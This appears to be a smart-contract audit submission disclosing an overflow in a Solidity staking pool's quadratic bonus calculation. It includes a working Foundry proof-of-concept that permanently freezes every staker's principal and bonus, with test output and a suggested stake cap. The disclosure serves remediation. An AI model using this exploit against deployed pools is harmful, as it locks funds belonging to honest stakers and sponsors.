FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

A large raw-unit stake overflows k=2 score intermediates, permanently freezing all SURVIVED/EXPIRED funds

Author Revealed upon completion

Root + Impact

Description

SURVIVED and EXPIRED claims are intended to distribute the bonus according to each staker's quadratic time-weighted score:

stake * (T - entry)^2
= T^2 * stake - 2 * T * (stake * entry) + stake * entry^2

stake() accepts a deposit while each stored absolute-timestamp moment fits in uint256:

uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;

Later, _bonusShare() expands the same nonnegative score and adds two large positive terms before subtracting the cancellation term:

function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
// ...
uint256 T = outcomeFlaggedAt;
// @> Each term can fit even though their sum overflows.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
// @> The global equivalent then makes every staker's claim revert.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
// ...
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

At the test suite's realistic base timestamp entry = 1,750,000,000, with a SURVIVED observation one day later (T = 1,750,086,400):

  • the first raw stake that overflows T^2 * stake + entry^2 * stake is approximately 1.89039e58;

  • stake() and _markRiskWindowStart() can still accept total stake up to approximately 3.78097e58;

  • therefore 2e58 is inside a nonempty accepted-but-unclaimable range.

For a standard OpenZeppelin ERC20 overriding the display precision to 60 decimals, 2e58 raw units are only 0.02 token. The published compatibility section supports standard ERC20s and excludes fee-on-transfer and rebasing tokens, but neither the factory allowlist nor the pool constrains decimals, raw supply, or aggregate eligible stake. The reproduction uses the normal owner allowlist and createPool() path and does not require fee behavior, rebasing, callbacks, registry compromise, or moderator compromise.

The final Math.mulDiv only protects the last userScore * snapshotTotalBonus multiplication. It cannot protect the earlier userPlus and global plus additions.

The global expression overflows for every claimant once the large position is included in the snapshot. Consequently, both the attacker and ordinary stakers revert with panic 0x11. After resolution, withdraw() rejects terminal outcomes and sweepUnclaimedBonus() reserves all unclaimed principal plus bonus. Existing pool clones are non-upgradeable and expose no emergency withdrawal, so the entire pool remains permanently frozen.

The same fault is reachable through two independent resolution paths:

  1. the moderator flags SURVIVED after the registry reaches PRODUCTION; and

  2. a non-staker mechanically finalizes EXPIRED while the registry remains in an active-risk state, requiring no moderator or terminal registry transition.

Risk

Likelihood:

  • The factory owner allowlists a standard ERC20 with sufficient raw supply. This is a conditional token configuration, but it is inside the stated compatibility boundary; a peculiar ERC20 is the CodeHawks severity guide's example of Medium likelihood.

  • A 60-decimal token needs only 0.02 token for the demonstrated attack, and a 58-decimal token needs approximately 1.9 tokens at the reproduced timestamp.

  • The pool contains a nonzero bonus. Bonus liquidity is described as economically required for rational participation, and any account can activate the vulnerable branch by contributing one raw unit.

  • minStake does not close the range: every usable pool with minStake at or below the accepted arithmetic ceiling admits an amount in the overflow interval; a higher minStake makes all stakes revert instead.

Impact:

  • Every staker permanently loses access to their full principal under SURVIVED and bonus-paying EXPIRED outcomes.

  • The full sponsor-funded bonus is also frozen. The PoC locks a 2-token bonus with a 0.02-token attack position, demonstrating that affected value can be far larger than the attacker's locked stake.

  • Re-flagging SURVIVED repeats the same broken snapshot math, PRODUCTION cannot be re-flagged CORRUPTED, withdrawal is closed, and the bonus sweep cannot take reserved liabilities.

  • The result is permanent denial of service and fund lock rather than direct theft. Impact is High while the token precondition makes likelihood Medium/conditional.

Proof of Concept

Add the following file as test/unit/OverflowPoc.t.sol and run:

forge test --match-contract OverflowPocTest -vvv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {stdError} from "forge-std/StdError.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract HighDecimalERC20 is MockERC20 {
function decimals() public pure override returns (uint8) {
return 60;
}
}
contract OverflowPocTest is BaseConfidencePoolTest {
uint256 internal constant ATTACK_STAKE = 2e58; // 0.02 token at 60 decimals
uint256 internal constant HONEST_STAKE = 1e58; // 0.01 token at 60 decimals
uint256 internal constant SPONSOR_BONUS = 2e60; // 2 tokens; 100x the attacker's stake
function setUp() public override {
super.setUp();
token = new HighDecimalERC20();
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(implementation), moderator)
)
)
)
);
factory.setStakeTokenAllowed(address(token), true);
pool = ConfidencePool(
factory.createPool(
agreement,
address(token),
block.timestamp + 31 days,
ONE,
recovery,
_defaultScope()
)
);
}
function testLargeBonusAndAllPrincipalAreFrozenAfterSurvived() external {
_fundPoolAndOpenRiskWindow();
vm.warp(vm.getBlockTimestamp() + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
_assertTerminalFundsAreFrozen(true);
}
function testLargeBonusAndAllPrincipalAreFrozenAfterExpired() external {
_fundPoolAndOpenRiskWindow();
vm.warp(pool.expiry());
// No moderator or terminal registry state is needed. A non-staker finalizes EXPIRED.
vm.prank(carol);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
_assertTerminalFundsAreFrozen(false);
}
function _fundPoolAndOpenRiskWindow() internal {
_stake(alice, ATTACK_STAKE);
_stake(bob, HONEST_STAKE);
_contributeBonus(carol, SPONSOR_BONUS);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertEq(token.balanceOf(address(pool)), ATTACK_STAKE + HONEST_STAKE + SPONSOR_BONUS);
}
function _assertTerminalFundsAreFrozen(bool survived) internal {
uint256 fundedBalance = ATTACK_STAKE + HONEST_STAKE + SPONSOR_BONUS;
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
if (survived) pool.claimSurvived();
else pool.claimExpired();
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
if (survived) pool.claimSurvived();
else pool.claimExpired();
vm.prank(alice);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.withdraw();
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(address(pool)), fundedBalance);
assertEq(pool.claimsStarted(), !survived);
}
}

Result:

[PASS] testLargeBonusAndAllPrincipalAreFrozenAfterExpired()
[PASS] testLargeBonusAndAllPrincipalAreFrozenAfterSurvived()
2 passed; 0 failed; 0 skipped

Additional verification

A matched negative control keeps the same standard 60-decimal OpenZeppelin ERC20,
factory allowlist and createPool() path, two stakers, sponsor bonus, observed risk
window, and SURVIVED/EXPIRED resolution paths. Its only material change is reducing
aggregate stake from 3e58 to 1.8e58 raw units, below both reproduced global
addition thresholds. Both control pools settle successfully and return all
principal and bonus, while both overflow cases revert with panic 0x11 for every
staker. The combined suite passes 4/4 tests.

The unchanged positive PoC was also reproduced from a clean checkout: both targeted
tests passed and the full local suite passed 258 tests, with only two RPC-gated tests
skipped. This isolates raw-unit magnitude as the cause and confirms that the result
does not depend on fee-on-transfer behavior, rebasing, callbacks, or altered transfer
semantics.

Recommended Mitigation

Reject deposits that would push aggregate eligible stake above a conservative bound derived from the maximum possible T. Since every effective entry and T are at most expiry, this guarantees that the positive and negative expanded moments fit:

+ error StakeMomentOverflow();
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ... transfer and compute `received` ...
+ uint256 e = uint256(expiry);
+ uint256 maxEligibleStake = type(uint256).max / (2 * e * e);
+ if (
+ totalEligibleStake > maxEligibleStake
+ || received > maxEligibleStake - totalEligibleStake
+ ) revert StakeMomentOverflow();
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
// ...
}

Also validate at pool creation that minStake <= maxEligibleStake, and add boundary tests immediately below and above the cap. A more invasive alternative is to store moments relative to a bounded epoch instead of expanding absolute Unix timestamps.

Affected code: ConfidencePool.sol#L696-L719.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!